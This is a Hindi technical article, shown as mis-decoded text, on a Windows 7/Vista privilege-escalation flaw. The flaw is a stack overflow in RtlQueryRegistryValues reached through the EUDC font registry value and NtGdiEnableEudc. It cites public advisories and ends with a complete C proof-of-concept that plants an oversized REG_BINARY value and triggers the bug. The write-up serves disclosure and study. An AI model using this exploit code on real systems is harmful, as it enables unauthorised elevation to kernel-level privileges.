рдирдИ рднреЗрджреНрдпрддрд╛ U7 рдХреЛ рджрд░рдХрд┐рдирд╛рд░ рдХрд░рдХреЗ Win7 / Vista рдореЗрдВ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХреЛ рдмрдврд╝рд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ

рд╕рд┐рд╕реНрдЯрдо рдХреЗ рд╕реНрддрд░ рдкрд░ рд╕реНрдерд╛рдиреАрдп рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХреЛ рдмрдврд╝рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рджрд┐рд▓рдЪрд╕реНрдк рднреЗрджреНрдпрддрд╛ 24 рдирд╡рдВрдмрд░ рдХреЛ рдХреЛрдб рдкреНрд░реЛрдЬреЗрдХреНрдЯ (http://www.codeproject.com/KB/vista-security/uac.aspx) рдкрд░ рдПрдХ рд▓реЗрдЦ рдХреЗ рд░реВрдк рдореЗрдВ рджрд┐рдЦрд╛рдИ рджреАред рдХреБрдЫ рдШрдВрдЯреЛрдВ рдмрд╛рдж, рдЗрд╕реЗ рдЗрд╕ рд╕рдВрд╕рд╛рдзрди рд╕реЗ рд╣рдЯрд╛ рджрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, рд▓реЗрдХрд┐рди рдпрд╣ рдЬрд╛рдирдХрд╛рд░реА рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рдкреВрд░реЗ рдиреЗрдЯрд╡рд░реНрдХ рдореЗрдВ рдлреИрд▓ рдЧрдИ рдереА рдФрд░ рдореЗрд░реА рд░рд╛рдп рдореЗрдВ рдЗрд╕реЗ рд╣рдЯрд╛рдирд╛ рдирд┐рд░рд░реНрдердХ рдерд╛ред XP рд╕реЗ Vista / Win7 рддрдХ рдХреЗ рд╕рд┐рд╕реНрдЯрдо рдкрд░ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдФрд░ рд╕рд░реНрд╡рд░ рд╕рдВрд╕реНрдХрд░рдг рднреА рд╣рдорд▓реЗ рдХреЗ рдЕрдзреАрди рд╣реИрдВред рдФрд░ рдХреНрдпрд╛ рдФрд░ рднреА рджрд┐рд▓рдЪрд╕реНрдк рд╣реИ, рднреЗрджреНрдпрддрд╛ рдкреНрд░рд╛рд╕рдВрдЧрд┐рдХ рд╣реИ, рджреЛрдиреЛрдВ x86 рд╕рд┐рд╕реНрдЯрдо рдФрд░ x64 рдкрд░ред рд╕рдЪ рд╣реИ, рдкреНрд░рд╕реНрддреБрдд PoC рдХреЛрдб рдХреЗрд╡рд▓ x86 рд╕рд┐рд╕реНрдЯрдо рдкрд░ рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рд▓реЙрдиреНрдЪ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред









рдЗрд╕рдХрд╛ рдХрд╛рд░рдг WinAPI рдлрд╝рдВрдХреНрд╢рди RtlQueryRegistryValues()



рдХреЗ рдорд╛рдкрджрдВрдбреЛрдВ рдХрд╛ рдЕрдкрд░реНрдпрд╛рдкреНрдд рдирд┐рдпрдВрддреНрд░рдг рд╣реИ:



NTSTATUS RtlQueryRegistryValues(

__in ULONG RelativeTo,

__in PCWSTR Path,

__inout PRTL_QUERY_REGISTRY_TABLE QueryTable,

__in_opt PVOID Context,

__in_opt PVOID Environment

);








рдЗрд╕ рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдПрдХ рд╕рд╛рде рдХрдИ рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдорд╛рдкрджрдВрдбреЛрдВ рдХреЛ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдкрд░рд┐рдгрд╛рдореЛрдВ рдХреЗ рд╕рд╛рде _RTL_QUERY_REGISTRY_TABLE



рд╕рдВрд░рдЪрдирд╛ рдХреЛ рднрд░рддрд╛ рд╣реИред



typedef struct _RTL_QUERY_REGISTRY_TABLE {

PRTL_QUERY_REGISTRY_ROUTINE QueryRoutine;

ULONG Flags;

PWSTR Name;

PVOID EntryContext;

ULONG DefaultType;

PVOID DefaultData;

ULONG DefaultLength;

} RTL_QUERY_REGISTRY_TABLE, *PRTL_QUERY_REGISTRY_TABLE;








EntryContext



рдлрд╝реАрд▓реНрдб рдореЗрдВ, рдЗрд╕ рд╕рдВрд░рдЪрдирд╛ рд╕реЗ, рдЖрдЙрдЯрдкреБрдЯ рдмрдлрд╝рд░ рдХрд╛ рдкреНрд░рдХрд╛рд░ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдпрд╣рд╛рдБ рдПрдХ рджрд┐рд▓рдЪрд╕реНрдк UNICODE_STRING



, рдмрдлрд░ рдХреЛ UNICODE_STRING



рд╕рдВрд░рдЪрдирд╛ рдХреЗ рд░реВрдк рдореЗрдВ рдпрд╛ ULONG



рдорд╛рдиреЛрдВ рдХреЗ рдмрдлрд╝рд░ рдХреЗ рд░реВрдк рдореЗрдВ рд╡реНрдпрд╛рдЦреНрдпрд╛ рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИред



typedef struct _UNICODE_STRING {

USHORT Length;

USHORT MaximumLength;

PWSTR Buffer;

} UNICODE_STRING, *PUNICODE_STRING;








рдЗрд╕ рдмрдлрд╝рд░ рдХреЛ рднрд░рдХрд░, рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдХреБрдВрдЬреА рдХрд╛ рдкреНрд░рдХрд╛рд░ рдЬрд┐рд╕рдореЗрдВ рдЕрдиреБрд░реЛрдз рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рд╕рдмрдХреБрдЫ рдареАрдХ рд╣реЛ рдЬрд╛рдПрдЧрд╛, рд▓реЗрдХрд┐рди рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдХреБрдВрдЬреА HKCU\EUDC\[Language]\SystemDefaultEUDCFon



t рдорд┐рд▓реА, рдЬрд┐рд╕реЗ рдХреЗрд╡рд▓ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЕрдзрд┐рдХрд╛рд░реЛрдВ рдХреЗ рд╕рд╛рде рдПрдХреНрд╕реЗрд╕ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдФрд░ Win32k.sys->NtGdiEnableEudc()



рдХреЙрд▓ рдХрд░рдХреЗ рдЗрд╕рдХреЗ рдкреНрд░рдХрд╛рд░ рдХреЛ REG_BINARY



рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕ рдлрд╝рдВрдХреНрд╢рди рдХреЗ рд╕рдВрдЪрд╛рд▓рди рдХреЗ рджреМрд░рд╛рди, рдпрд╣ рдорд╛рди рд▓рд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдХрд┐ REG_SZ



рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдорд╛рди рдФрд░ рдмрдлрд░ рдХреЛ рд╕реНрдЯреИрдХ рдкрд░ рд░рдЦрд╛ рдЧрдпрд╛ рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ UNICODE_STRING



рд╕рдВрд░рдЪрдирд╛ рдЬрд┐рд╕рдореЗрдВ рд╕реЗ рдкрд╣рд▓рд╛ ULONG



рдорд╛рди рдмрдлрд░ рд▓рдВрдмрд╛рдИ рдХреА рд╡реНрдпрд╛рдЦреНрдпрд╛ рдХрд░рддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдпрджрд┐ рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдорд╛рди рдХреЛ REG_BINARY



рд░реВрдк рдореЗрдВ рдкреНрд░рд╕реНрддреБрдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдПрдХ рдХреНрд▓рд╛рд╕рд┐рдХ рд╕реНрдЯреИрдХ рдУрд╡рд░рдлрд╝реНрд▓реЛ рд╣реЛрддрд╛ рд╣реИред







рдЗрди рд╕рднреА рдмрд╛рд░реАрдХрд┐рдпреЛрдВ рдХреЛ рджреЗрдЦрддреЗ рд╣реБрдП, PoC (noobpwnftw рджреНрд╡рд╛рд░рд╛) рд╡рд┐рдХрд╕рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, рдЬреЛ рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдореЗрдВ рдПрдХ рдорд╛рди рдмрдирд╛рддрд╛ рд╣реИ рдЬреЛ рд╕реНрдЯреИрдХ рдкрд░ рд░рд┐рдЯрд░реНрди рдПрдбреНрд░реЗрд╕ рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░рддрд╛ рд╣реИ рдФрд░ рдХрд░реНрдиреЗрд▓ рдореЛрдб рдореЗрдВ рдХреЛрдб рдХреЗ рд╕рд╛рде рдПрдХ рдордирдорд╛рдирд╛ рдмрдлрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рддрд╛ рд╣реИред



рднреЗрджреНрдпрддрд╛ рдХрд╛ рд╡рд┐рд╕реНрддреГрдд рд╡рд┐рд╡рд░рдг рдпрд╣рд╛рдБ рд╣реИред



http://www.kb.cert.org/vuls/id/529673

http://secunia.com/advisories/42356



рд╡реИрдХрд▓реНрдкрд┐рдХ PoC d_olex ( рдореВрд▓ ) рд╕реЗ:

#define EUDC_FONT_VAL "SystemDefaultEUDCFont"



int _tmain( int argc, _TCHAR* argv[])

{

HKEY hKey;

char szKeyName[MAX_PATH], Buff[0x600];



sprintf_s(szKeyName, MAX_PATH, "EUDC\\%d" , GetACP());



//

LONG Code = RegCreateKey(HKEY_CURRENT_USER, szKeyName, &hKey);

if (Code != ERROR_SUCCESS)

{

printf( "ERROR: RegCreateKey() fails with status %d\n" , Code);

return -1;

}



//

RegDeleteValue(hKey, EUDC_FONT_VAL);



// "SystemDefaultEUDCFont" REG_BINARY

FillMemory(Buff, sizeof (Buff), 'A' );

Code = RegSetValueEx(hKey, EUDC_FONT_VAL, 0, REG_BINARY, Buff, 0x600);



RegCloseKey(hKey);



if (Code != ERROR_SUCCESS)

{

printf( "ERROR: RegSetValueEx() fails with status %d\n" , Code);

return -1;

}



//

EnableEUDC(TRUE);



return 0;

}







All Articles